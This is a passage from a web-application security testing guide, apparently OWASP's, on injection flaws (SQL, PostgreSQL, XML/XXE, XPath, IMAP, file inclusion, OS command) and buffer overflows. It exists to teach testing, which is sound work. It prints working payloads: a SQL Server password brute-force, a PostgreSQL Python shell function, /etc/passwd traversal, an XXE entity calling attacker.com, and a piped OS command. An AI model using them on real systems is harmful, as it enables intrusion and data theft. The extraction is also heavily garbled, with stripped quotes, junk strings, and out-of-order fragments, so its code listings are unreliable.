Guide To Thinking
Guide To Thinking
Measuring the response time and using different values for @i, we
can deduce the length of the name of the current database, and
then start to extract the name itself with the following query:
waitfor delay 0:0:5
This query will wait for 5 seconds if bit @bit of byte @byte of the
name of the current database is 1, and will return at once if it is 0.
Nesting two cycles (one for @byte and one for @bit) we will we able
to extract the whole piece of information.
However, it might happen that the command waitfor is not available
(e.g., because it is filtered by an IPS/web application firewall). This
doesnt mean that blind SQL injection attacks cannot be done, as
the pen tester should only come up with any time consuming operation that is not filtered. For example
declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end
Checking for version and vulnerabilities
The same timing approach can be used also to understand which
version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:
select @@version
OnSQL Server 2005, it will return something like the following:
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14
2005 00:33:37 <snip>
The 2005 part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:
if substring((select @@version),25,1) = 5 waitfor delay
0:0:5
Such query will wait 5 seconds if the 25th character of the @@version variable is 5, showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing
with SQL Server 2000, and another similar query will help to clear
all doubts.
Example 9: bruteforce of sysadmin password
To bruteforce the sysadmin password, we can leverage the fact that
OPENROWSET needs proper credentials to successfully perform
the connection and that such a connection can be also looped to
the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:
select * from OPENROWSET(SQLOLEDB,;sa;<pwd>,select
1;waitfor delay 0:0:5 )
Tools
Francois Larouche: Multiple DBMS SQL Injection tool [SQL Power Injector]
Northern Monkee: [Bobcat]
icesurfer: SQL Server Takeover Tool - [sqlninja]
Bernardo Damele A. G.: sqlmap, automatic SQL injection
tool - http://sqlmap.org/
References
Whitepapers
David Litchfield: Data-mining with SQL Injection and Inference
- http://www.databasesecurity.com/webapps/sqlinference.pdf
Chris Anley, (more) Advanced SQL Injection http://www.encription.co.uk/downloads/more_advanced_sql_
injection.pdf
Steve Friedls Unixwiz.net Tech Tips: SQL Injection Attacks by
Example - http://www.unixwiz.net/techtips/sql-injection.html
Alexander Chigrik: Useful undocumented extended stored
procedures - http://www.mssqlcity.com/Articles/Undoc/
UndocExtSP.htm
Antonin Foller: Custom xp_cmdshell, using shell object http://www.motobit.com/tips/detpg_cmdshell
Paul Litwin: Stop SQL Injection Attacks Before They Stop You http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
SQL Injection - http://msdn2.microsoft.com/en-us/library/
ms161953.aspx
Cesar Cerrudo: Manipulating Microsoft SQL Server Using
SQL Injection - http://www.appsecinc.com/presentations/
Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading
files, getting into internal network, port scanning, DOS
Summary
In this section, some SQL Injection techniques for PostgreSQL will
be discussed. These techniques have the following characteristics:
126
the number n
ascii(n): Returns the ASCII value which corresponds to the
character n
Lets say you want to encode the string root:
select ascii(r)
114
select ascii(o)
111
select ascii(t)
116
We can encode root as:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http://www.example.com/store.php?id=1; UPDATE users
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)-Attack Vectors
Current User
The identity of the current user can be retrieved with the following
SQL SELECT statements:
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL-Current Database
The built-in function current_database() returns the current database name.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
127
COPY:
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.
Example
/store.php?id=1; CREATE TABLE file_store(id serial, data
text)-/store.php?id=1; COPY file_store(data) FROM /var/lib/postgresql/.psql_history--
stdout?
Heres a little trick:
[1] create a stdout table
CREATE TABLE stdout(id serial, system_out text)
[2] executing a shell command redirecting its stdout
SELECT system(uname -a > /tmp/test)
[3] use a COPY statements to push output of previous command
in stdout table
COPY stdout(system_out) FROM /tmp/test
Example:
Example:
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 1;-/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 2;-...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 11;-pg_read_file():
This function was introduced in PostgreSQL 8.1 and allows one to
read arbitrary files located inside DBMS data directory.
Examples:
SELECT pg_read_file(server.key,0,1000);
plpython
PL/Python allows users to code PostgreSQL functions in python.
Its untrusted so there is no way to restrict what user can do. Its
not installed by default and can be enabled on a given database
by CREATELANG
Writing to a file
By reverting the COPY statement, we can write to the local file
system with the postgres user rights
Example:
[1] Create a proxy shell function:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS import os; return os.popen(args[0]).read()
LANGUAGE plpythonu;--
Since system returns an int how we can fetch results from system
128
or
[2] If not, assuming that sysadm has already installed the plperl
package, try :
CREATE LANGUAGE plperlu
or
Summary
As explained in the generic SQL injection section, SQL injection
vulnerabilities occur whenever user-supplied input is used during
the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used
to connect to the database. In this section, relevant SQL injection
techniques that utilize specific features of Microsoft Access will
be discussed.
How to Test
Fingerprinting
Fingerprinting the specific database technology while testing
SQL-powered application is the first step to properly asses po-
129
MSysObjects
MSysACEs
MSysAccessXML
If the first character is a, the query will return 0 or otherwise the string
no.
For example, if a union SQL injection vulnerability exists, you can use
130
Summary
NoSQL databases provide looser consistency restrictions than
traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer
performance and scaling benefits. Yet these databases are still
potentially vulnerable to injection attacks, even if they arent using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[1] language , rather than in
the declarative[2] SQL language, the potential impacts are greater
131
Summary
The Lightweight Directory Access Protocol (LDAP) is used to store
information about users, hosts, and many other objects. LDAP injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure
to be disclosed, modified, or inserted. This is done by manipulating
input parameters afterwards passed to internal search, add, and
modify functions.
A web application could use LDAP in order to let users authenticate or search other users information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search
filters metacharacters in a query which will be executed by the
application.
[Rfc2254] defines a grammar on how to build a search filter on
LDAPv3 and extends [Rfc1960] (LDAPv2).
An LDAP search filter is constructed in Polish notation, also known
as [prefix notation].
This means that a pseudo code condition on a search filter like
this:
C^
132
Metachar
Meaning
Boolean AND
Boolean OR
Boolean NOT
Equals
~=
Approx
>=
Greater than
<=
Less than
Any character
()
Grouping parenthesis
Tools
Summary
ORM Injection is an attack using SQL Injection against an ORM
generated data access object model. From the point of view of a
133
Tools
Hibernate http://www.hibernate.org
NHibernate http://nhforge.org/
References
Whitepapers
References from Testing for SQL Injection are applicable to ORM
Injection
Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relation
al_mapping
Summary
XML Injection testing is when a tester tries to inject an XML doc
to the application. If the XML parser fails to contextually validate
data, then the test will yield a positive result.
This section describes practical examples of XML Injection. First,
an XML style communication will be defined and its working principles explained. Then, the discovery method in which we try to
insert XML metacharacters. Once the first step is accomplished,
the tester will have some information about the XML structure, so
it will be possible to try to inject XML data and tags (Tag Injection).
How to Test
Lets suppose there is a web application using an XML style communication in order to perform user registration. This is done by
creating and adding a new <user> node in an xmlDb file.
Lets suppose the xmlDB file is like the following:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
</users>
When a user registers himself by filling an HTML form, the application receives the users data in a standard request, which, for the
sake of simplicity, will be supposed to be sent as a GET request.
For example, the following values:
Username: tony
Password: Un6R34kb!e
E-mail: [email protected]
will produce the request:
nn`
The application, then, builds the following node:
<user>
<username>tony</username>
134
</user>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
double quotes.
<node attrib=$inputValue/>
So if:
$inputValue = foo
the substitution gives:
<node attrib=foo/>
and the resulting XML document is invalid.
Angular parentheses: > and < - By adding an open or closed angular parenthesis in a user input like the following:
Username = foo<
the application will build a new node:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
but, because of the presence of the open <, the resulting XML
document is invalid.
Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/end of a comment. So by injecting one of
them in Username parameter:
Username = foo<!-the application will build a node like the following:
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
which wont be a valid XML sequence.
jhe ampersand is used in the XML syntax to
j
is mapped to a character in the Unicode character set.
For example:
135
is well formed and valid, and represents the < ASCII character.
9LG
injection.
In fact, if an input like the following is provided:
n
a new node will be created:
<user>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
CDATA section delimiters: <![CDATA[ / ]]> - CDATA sections are
used to escape blocks of text containing characters which would
otherwise be recognized as markup. In other words, characters
enclosed in a CDATA section are not parsed by an XML parser.
For example, if there is the need to represent the string <foo>
inside a text node, a CDATA section may be used:
<node>
<![CDATA[<foo>]]>
</node>
so that <foo> wont be parsed as markup and will be considered
as character data.
If a node is built in the following way:
<username><![CDATA[<$userName]]></username>
the tester could try to inject the end CDATA string ]]> in order to
try to invalidate the XML document.
userName = ]]>
this will become:
<username><![CDATA[]]>]]></username>
which is not a valid XML fragment.
Another test is related to CDATA tag. Suppose that the XML document is processed to generate an HTML page. In this case, the
CDATA section delimiters may be simply eliminated, without further inspecting their contents. Then, it is possible to inject HTML
tags, which will be included in the generated page, completely bypassing existing sanitization routines.
Lets consider a concrete example. Suppose we have a node containing some text that will be displayed back to the user.
<html>
$HTMLCode
</html>
Then, an attacker can provide the following input:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert(xss)<![CDATA[<]]>/script<![CDATA[>]]>
and obtain the following node:
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert(xss)<![CDATA[<]]>/
script<![CDATA[>]]>
</html>
During the processing, the CDATA section delimiters are eliminated, generating the following HTML code:
<script>alert(XSS)</script>
The result is that the application is vulnerable to XSS.
External Entity:
The set of valid entities can be extended by defining new entities.
If the definition of an entity is a URI, the entity is called an external
entity. Unless configured to do otherwise, external entities force
the XML parser to access the resource specified by the URI, e.g.,
a file on the local machine or on a remote systems. This behavior exposes the application to XML eXternal Entity (XXE) attacks,
which can be used to perform denial of service of the local system,
gain unauthorized access to files on the local machine, scan remote machines, and perform denial of service of remote systems.
To test for XXE vulnerabilities, one can use the following input:
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
foo>
This test could crash the web server (on a UNIX system), if the
XML parser attempts to substitute the entity with the contents of
the /dev/random file.
Other useful tests are the following:
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
136
foo>
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
foo>
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
&Mj9jddj&L
<?xml version=1.0 encoding=ISO-8859-1?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM http://www.attacker.com/text.txt
Tag Injection
Once the first step is accomplished, the tester will have some information about the structure of the XML document. Then, it is possible
to try to inject XML data and tags. We will show an example of how
this can lead to a privilege escalation attack.
Lets considering the previous application. By inserting the following
values:
Username: tony
Password: Un6R34kb!e
E-mail: [email protected]</mail><userid>0</userid><mail>[email protected]
the application will build a new node and append it to the XML database:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail>
</user>
</users>
The resulting XML file is well formed. Furthermore, it is likely that, for
the user tony, the value associated with the userid tag is the one appearing last, i.e., 0 (the admin ID). In other words, we have injected a
user with administrative privileges.
The only problem is that the userid tag appears twice in the last user
node. Often, XML documents are associated with a schema or a DTD
and will be rejected if they dont comply with it.
Lets suppose that the XML document is specified by the following
DTD:
<!DOCTYPE users [
<!ELEMENT users (user+) >
<!ELEMENT user (username,password,userid,mail+) >
<!ELEMENT username (#PCDATA) >
<!ELEMENT password (#PCDATA) >
<!ELEMENT userid (#PCDATA) >
<!ELEMENT mail (#PCDATA) >
]>
Note that the userid node is defined with cardinality 1. In this case, the
attack we have shown before (and other simple attacks) will not work,
if the XML document is validated against its DTD before any processing occurs.
However, this problem can be solved, if the tester controls the value of
some nodes preceding the offending node (userid, in this example). In
fact, the tester can comment out such node, by injecting a comment
start/end sequence:
Username: tony
Password: Un6R34kb!e</password><!-E-mail: --><userid>0</userid><mail>[email protected]
In this case, the final XML database is:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password><!--</password>
<userid>500</userid>
<mail>--><userid>0</userid><mail>[email protected]</mail>
</user>
</users>
137
The original userid node has been commented out, leaving only
the injected one. The document now complies with its DTD rules.
web servers dont allow the use of the exec directive to execute
system commands.
Tools
Summary
Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to
deal with full-fledged server-side or client-side languages. This
feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application
data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into
HTML pages or even perform remote code execution.
Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the
content of the target web site. If it contains .shtml files, then SSI
are probably supported, as this extension is used to identify pages
containing these directives. Unfortunately, the use of the shtml
extension is not mandatory, so not having found any shtml files
doesnt necessarily mean that the target is not prone to SSI injection attacks.
138
Tools
Summary
XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection
testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries.When successfully exploited,
this vulnerability may allow an attacker to bypass authentication
mechanisms or access information without proper authorization.
Web applications heavily use databases to store and access the
data they need for their operations.Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language.
Just like relational databases are accessed via SQL language, XML
databases use XPath as their standard query language.
Since, from a conceptual point of view, XPath is very similar to SQL
in its purpose and applications, an interesting result is that XPath
injection attacks follow the same logic as SQL Injection attacks. In
some aspects, XPath is even more powerful than standard SQL, as
its whole power is already present in its specifications, whereas a
large number of the techniques that can be used in a SQL Injection
attack depend on the characteristics of the SQL dialect used by
the target database. This means that XPath injection attacks can
be much more adaptable and ubiquitous.Another advantage of an
XPath injection attack is that, unlike SQL, no ACLs are enforced, as
our query can access every part of the XML document.
How to Test
The XPath attack pattern was first published by Amit Klein [1]
and is very similar to the usual SQL Injection.In order to get a first
grasp of the problem, lets imagine a login page that manages the
authentication to an application in which the user must enter his/
her username and password.Lets assume that our database is
represented by the following XML file:
<?xml version=1.0 encoding=ISO-8859-1?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
An XPath query that returns the account whose username is gandalf and the password is !c3 would be the following:
139
Looks quite familiar, doesnt it? Using these parameters, the query
becomes:
INTERNET
PUBLIC ZONE
WEBMAIL APPLICATION
Summary
This threat affects all applications that communicate with mail
servers (IMAP/SMTP), generally webmail applications. The aim of
this test is to verify the capacity to inject arbitrary IMAP/SMTP
commands into the mail servers, due to input data not being properly sanitized.
The IMAP/SMTP Injection technique is more effective if the mail
server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.
An IMAP/SMTP Injection makes it possible to access a mail server
which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same
level of infrastructure security and hardening that is applied to the
MAIL SERVERS
140
Authentication
Emissor e-mail
Destination e-mail
Subject
Disconnection
Message body
Attached files
In this example, the mailbox parameter is being tested by manipulating all requests with the parameter in:
9MRL
The following examples can be used.
Assign a null value to the parameter:
141
Result Expected:
List of IMAP/SMTP commands affected
Type, value, and number of parameters expected by the
affected IMAP/SMTP commands
IMAP/SMTP command injection
Once the tester has identified vulnerable parameters and has
analyzed the context in which they are executed, the next stage
is exploiting the functionality.
This stage has two possible outcomes:
[1] The injection is possible in an unauthenticated state:
the affected functionality does not require the user to be
authenticated. The injected (IMAP) commands available are
limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and
LOGOUT.
[2] The injection is only possible in an authenticated state:
the successful exploitation requires the user to be fully
authenticated before testing can continue.
In any case, the typical structure of an IMAP/SMTP Injection is
as follows:
Header: ending of the expected command;
Body: injection of the new command;
Footer: beginning of the expected command.
It is important to remember that, in order to execute an IMAP/
SMTP command, the previous command must be terminated
with the CRLF (%0d%0a) sequence.
Lets suppose that in the stage 1 (Identifying vulnerable parameters), the attacker detects that the parameter message_id in
the following request is vulnerable:
http://<webmail>/read_email.php?message_id=4791
Lets suppose also that the outcome of the analysis performed
in the stage 2 (Understanding the data flow and deployment
structure of the client) has identified the command and arguments associated with this parameter as:
FETCH 4791 BODY[HEADER]
In this scenario, the IMAP injection structure would be:
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
Which would generate the following commands:
???? FETCH 4791 BODY[HEADER]
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
142
where:
Header = 4791 BODY[HEADER]
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
Result Expected:
Arbitrary IMAP/SMTP command injection
References
Whitepapers
RFC 0821 Simple Mail Transfer Protocol.
RFC 3501 Internet Message Access Protocol - Version 4rev1.
Vicente Aguilera Daz: MX Injection: Capturing and Exploiting
Hidden Mail Servers - http://www.webappsec.org/projects/
articles/121106.pdf
Summary
This section describes how a tester can check if it is possible to
enter code as input on a web page and have it executed by the
web server.
In Code Injection testing, a tester submits input that is processed
by the web server as dynamic code or as an included file. These
tests can target various server-side scripting engines, e.g.., ASP
or PHP. Proper input validation and secure coding practices need
to be employed to protect against these attacks.
How to Test
Black Box testing
Testing for PHP Injection vulnerabilities
Using the querystring, the tester can inject code (in this example,
a malicious URL) to be processed as part of the included file:
Result Expected:
http://www.example.com/uptime.php?pin=http://www.
Data.txt is executed
Server.Execute( data.txt )
Else
%>
<form>
<input name=Data /><input type=submit name=Enter
Data />
</form>
<%
End If
%>)))
References
Security Focus - http://www.securityfocus.com
Insecure.org - http://www.insecure.org
Wikipedia - http://www.wikipedia.org
Reviewing Code for OS Injection
Summary
The File Inclusion vulnerability allows an attacker to include a file,
usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to
the use of user-supplied input without proper validation.
This can lead to something as outputting the contents of the file,
but depending on the severity, it can also lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can
lead to other attacks such as cross site scripting (XSS)
Denial of Service (DoS)
Sensitive Information Disclosure
Local File Inclusion (also known as LFI) is the process of including
files, that are already locally present on the server, through the
exploiting of vulnerable inclusion procedures implemented in the
application. This vulnerability occurs, for example, when a page
receives, as input, the path to the file that has to be included and
this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although
most examples point to vulnerable PHP scripts, we should keep
in mind that it is also common in other technologies such as JSP,
ASP and others.
How to Test
Since LFI occurs when paths passed to include statements are
not properly sanitized, in a blackbox testing approach, we should
look for scripts which take filenames as parameters.
Consider the following example:
http://vulnerable_host/preview.php?file=example.html
This looks as a perfect place to try for LFI. If an attacker is lucky
enough, and instead of selecting the appropriate page from the
143
array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.
Typical proof-of-concept would be to load passwd file:
http://vulnerable_host/preview.php?file=../../../../etc/passwd
If the above mentioned conditions are met, an attacker would
see something like the following:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash
...
Very often, even when such vulnerability exists, its exploitation is a
bit more complex. Consider the following piece of code:
<?php include/.include($_GET[filename]..php); ?>
In the case, simple substitution with arbitrary filename would not
work as the postfix php is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will
be ignored. Thus, the following request will also return an attacker
list of basic users attributes:
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
References
Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
Remediation
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white
list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
there is no attack surface for malicious users to manipulate the path.
Summary
The File Inclusion vulnerability allows an attacker to include a file,
usually exploiting a dynamic file inclusion mechanisms implemented in the target application. The vulnerability occurs due to the use of
user-supplied input without proper validation.
This can lead to something as outputting the contents of the file, but
depending on the severity, it can also lead to:
Code execution on the web server
Code execution on the client-side such as JavaScript which can lead
Summary
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP
request to the application.
OS command injection is a technique used via a web interface in
order to execute OS commands on a web server. The user supplies
operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized
144
If the application doesnt validate the request, we can obtain the following result:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf+|+Dir c:\
In this case, we have successfully performed an OS injection attack.
Exec Results for cmd.exe /c type C:\httpd\public\
doc\Doc=Doc1.pdf+|+Dir c:\
Output...
Il volume nellunit C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
145
Tools
OWASP WebScarab
OWASP WebGoat
References
White papers
http://www.securityfocus.com/infocus/1709
Remediation
Sanitization
The URL and form data needs to be sanitized for invalid characters. A blacklist of characters is an option but it may be difficult
to think of all of the characters to validate against. Also there
may be some that were not discovered as of yet. A white list
containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.
Permissions
The web application and its components should be running under
strict permissions that do not allow operating system command
execution. Try to verify all these informations to test from a Gray
Box point of view
Summary
To find out more about buffer overflow vulnerabilities, please go
to Buffer Overflow pages.
See the OWASP article on Buffer Overflow Attacks.
in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place
leading to an access violation. When the overflow is executed in a
controlled fashion, the vulnerability would allow an adversary to
overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function
pointers and various addresses stored in structures like GOT,
.dtors or TEB with the address of a malicious payload.
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting
function pointers to exploiting memory management structures
for arbitrary code execution. Locating heap overflows requires
closer examination in comparison to stack overflows, since there
are certain conditions that need to exist in the code for these
vulnerabilities to be exploitable.
How to Test
Black Box testing
The principles of black box testing for heap overflows remain the
same as stack overflows. The key is to supply as input strings
that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are
significantly different. While in the case of a stack overflow, an
instruction pointer or SEH overwrite would be apparent, this
does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several
different forms, the most common one being a pointer exchange
taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow
vulnerability.
Summary
In this test the penetration tester checks whether a they can
make a Heap overflow that exploits a memory segment.
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in
heap consists of boundary tags that contain memory management information.
When a heap-based buffer is overflowed the control information
The two registers shown, EAX and ECX, can be populated with
user supplied addresses which are a part of the data that is used
to overflow the heap buffer. One of the addresses can point to a
function pointer which needs to be overwritten, for example UEF
(Unhandled Exception filter), and the other can be the address of
user supplied code that needs to be executed.
When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called,
user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious
146
vulnerable(argv[1]);
return 0;
return 0;
Tools
Summary
Stack overflows occur when variable size data is copied into fixed
length buffers located on the program stack without any bounds
checking. Vulnerabilities of this class are generally considered to
be of high severity since their exploitation would mostly permit
arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is
often ridden with instances of this vulnerability. In fact almost
every platform is vulnerable to stack overflows with the following notable exceptions:
J2EE as long as native methods or system calls are not
invoked
.NET as long as /unsafe or unmanaged code is not invoked
(such as the use of P/Invoke or COM Interop)
PHP as long as external programs and vulnerable PHP
extensions written in C or C++ are not called can suffer from
stack overflow issues.
Stack overflow vulnerabilities often allow an attacker to directly
take control of the instruction pointer and, therefore, alter the
execution of the program and execute arbitrary code. Besides
147
How to Test
Black Box testing
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is
expected. However, subjecting the application to arbitrarily large
data is not sufficient. It becomes necessary to inspect the applications execution flow and responses to ascertain whether an
overflow has actually been triggered or not. Therefore, the steps
required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate
malformed input for the application, subject the application to
malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state
of the registers when the vulnerability gets triggered.
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are
scanned for signatures of vulnerable assembly fragments. This
is often termed as reverse engineering and is a tedious process.
As a simple example, consider the following technique employed
while testing an executable sample.exe for stack overflows:
#include<stdio.h>
int main(int argc, char *argv[])
{
char buff[20];
printf(copying into buffer);
strcpy(buff,argv[1]);
return 0;
}
File sample.exe is launched in a debugger, in our case OllyDbg.
As shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction
to be executed, contains the value 41414141. 41 is a hexadecimal representation for the character A and therefore the string
AAAA translates to 41414141.
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception
Handler) to control code execution and bypass certain stack protection mechanisms.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries,
which is a complex and tedious process, and using fuzzing techniques.
Gray Box testing
When reviewing code for stack overflows, it is advisable to
search for calls to insecure library functions like gets(), strcpy(),
strcat() etc which do not validate the length of source strings and
blindly copy data into fixed size buffers.
For example consider the following function:void log_create(int severity, char *inpt) {
char b[1024];
148
if (severity == 1)
{
strcat(b,Error occurred on);
strcat(b,:);
strcat(b,inpt);
size=strlen(source)+1
.
strncpy(dest,source,size)
}
where source is user controllable data. A good example would be
the samba trans2open stack overflow vulnerability (http://www.
